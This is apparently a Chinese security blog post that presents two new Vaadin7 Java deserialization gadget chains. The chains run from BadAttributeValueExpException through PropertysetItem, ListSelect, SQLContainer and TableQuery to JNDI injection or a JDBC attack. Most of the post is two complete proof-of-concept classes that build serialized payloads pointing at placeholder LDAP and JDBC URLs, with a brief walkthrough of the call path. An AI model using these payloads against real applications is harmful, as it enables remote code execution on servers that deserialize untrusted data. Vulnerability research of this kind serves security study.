New Gadget Chains of Vaadin7

前言

分享一下在Vaadin7找到的两条新Gadget Chain,可以造成JNDI注入或JDBC攻击

Gadget Chain 分析

我们还是从PropertysetItem#toString()开始看

这里getItemProperty可以返回Property子类,已有链使用的是NestedMethodProperty类触发getter方法,我们这里看看其他类方法如:AbstractSelect#getValue

这里可以控制返回值retValue,从而控制getValue方法调用containsId方法,我们看SQLContainer#containsId方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public boolean containsId(Object itemId) {
if (itemId == null) {
return false;
} else if (this.cachedItems.containsKey(itemId)) {
return true;
} else {
Iterator var2 = this.addedItems.iterator();

while(var2.hasNext()) {
RowItem item = (RowItem)var2.next();
if (item.getId().equals(itemId)) {
return this.itemPassesFilters(item);
}
}

if (this.removedItems.containsKey(itemId)) {
return false;
} else if (itemId instanceof ReadOnlyRowId) {
int rowNum = ((ReadOnlyRowId)itemId).getRowNum();
return rowNum >= 0 && rowNum < this.size;
} else {
if (itemId instanceof RowId && !(itemId instanceof TemporaryRowId)) {
try {
return this.queryDelegate.containsRowWithKey(((RowId)itemId).getId());
} catch (Exception var4) {
getLogger().log(Level.WARNING, "containsId query failed", var4);
}
}

return false;
}
}
}

还记得retValue是可控的,因此我们可以在上一步将其控制为RowId类对象从而调用this.queryDelegate.containsRowWithKey(((RowId)itemId).getId());,走到TableQuery#containsRowWithKey方法

控制进入beginTransaction方法:

我们可以继续控制走入reverseConnection方法,有两个候选方法:J2EEConnectionPool#reserveConnectionSimpleJDBCConnectionPool#reserveConnection

我们先看第一个,直接触发了JNDI注入

对于第二个:

可以先进入initializeConnections

这里注意给initialConnections成员变量设一个1,从而进入createConnection

JDBC连接的URL可控,因此若存在一些数据库的话也可造成攻击

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package com.example.Vaadin;

import com.example.Utils.ReflectionUtil;
import com.example.Utils.SerializeUtil;
import com.vaadin.data.util.PropertysetItem;
import com.vaadin.data.util.sqlcontainer.RowId;
import com.vaadin.data.util.sqlcontainer.SQLContainer;
import com.vaadin.data.util.sqlcontainer.connection.J2EEConnectionPool;
import com.vaadin.data.util.sqlcontainer.query.TableQuery;
import com.vaadin.data.util.sqlcontainer.query.generator.DefaultSQLGenerator;
import com.vaadin.ui.ListSelect;

import javax.management.BadAttributeValueExpException;
import java.util.ArrayList;

public class POC_1 {

public static void main(String[] args) throws Exception {
J2EEConnectionPool pool = new J2EEConnectionPool("ldap://xxx");

TableQuery tableQuery = (TableQuery) ReflectionUtil.createWithoutConstructor(Class.forName("com.vaadin.data.util.sqlcontainer.query.TableQuery"));
ReflectionUtil.setField(tableQuery, "primaryKeyColumns", new ArrayList<>());
ReflectionUtil.setField(tableQuery, "fullTableName", "test");
ReflectionUtil.setField(tableQuery, "sqlGenerator", new DefaultSQLGenerator());
ReflectionUtil.setField(tableQuery, "connectionPool", pool);

ListSelect listSelect = new ListSelect();
SQLContainer sql = (SQLContainer) ReflectionUtil.createObject("com.vaadin.data.util.sqlcontainer.SQLContainer", new Class[]{}, new Object[]{});
ReflectionUtil.setField(sql, "queryDelegate", tableQuery);

RowId id = new RowId("id");
ReflectionUtil.setField(listSelect, "value", id);
ReflectionUtil.setField(listSelect, "multiSelect", true);
ReflectionUtil.setField(listSelect, "items", sql);
PropertysetItem propertysetItem = new PropertysetItem();
propertysetItem.addItemProperty("key", listSelect);

BadAttributeValueExpException bad = new BadAttributeValueExpException(0);
ReflectionUtil.setField(bad, "val", propertysetItem);

SerializeUtil.deserialize(SerializeUtil.serialize(bad));
}

}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package com.example.Vaadin;

import com.example.Utils.ReflectionUtil;
import com.example.Utils.SerializeUtil;
import com.vaadin.data.util.PropertysetItem;
import com.vaadin.data.util.sqlcontainer.RowId;
import com.vaadin.data.util.sqlcontainer.SQLContainer;
import com.vaadin.data.util.sqlcontainer.connection.J2EEConnectionPool;
import com.vaadin.data.util.sqlcontainer.connection.SimpleJDBCConnectionPool;
import com.vaadin.data.util.sqlcontainer.query.TableQuery;
import com.vaadin.data.util.sqlcontainer.query.generator.DefaultSQLGenerator;
import com.vaadin.ui.ListSelect;

import javax.management.BadAttributeValueExpException;
import java.util.ArrayList;

public class POC_2 {

public static void main(String[] args) throws Exception {
SimpleJDBCConnectionPool jdbc = (SimpleJDBCConnectionPool) ReflectionUtil.createWithoutConstructor(Class.forName("com.vaadin.data.util.sqlcontainer.connection.SimpleJDBCConnectionPool"));
ReflectionUtil.setField(jdbc, "connectionUri", "evilUrl");
ReflectionUtil.setField(jdbc, "userName", "user");
ReflectionUtil.setField(jdbc, "password", "passwd");
ReflectionUtil.setField(jdbc, "initialConnections", 1);

TableQuery tableQuery = (TableQuery) ReflectionUtil.createWithoutConstructor(Class.forName("com.vaadin.data.util.sqlcontainer.query.TableQuery"));
ReflectionUtil.setField(tableQuery, "primaryKeyColumns", new ArrayList<>());
ReflectionUtil.setField(tableQuery, "fullTableName", "test");
ReflectionUtil.setField(tableQuery, "sqlGenerator", new DefaultSQLGenerator());
ReflectionUtil.setField(tableQuery, "connectionPool", jdbc);

ListSelect listSelect = new ListSelect();
SQLContainer sql = (SQLContainer) ReflectionUtil.createObject("com.vaadin.data.util.sqlcontainer.SQLContainer", new Class[]{}, new Object[]{});
ReflectionUtil.setField(sql, "queryDelegate", tableQuery);

RowId id = new RowId("id");
ReflectionUtil.setField(listSelect, "value", id);
ReflectionUtil.setField(listSelect, "multiSelect", true);
ReflectionUtil.setField(listSelect, "items", sql);
PropertysetItem propertysetItem = new PropertysetItem();
propertysetItem.addItemProperty("key", listSelect);

BadAttributeValueExpException bad = new BadAttributeValueExpException(0);
ReflectionUtil.setField(bad, "val", propertysetItem);

SerializeUtil.deserialize(SerializeUtil.serialize(bad));
}

}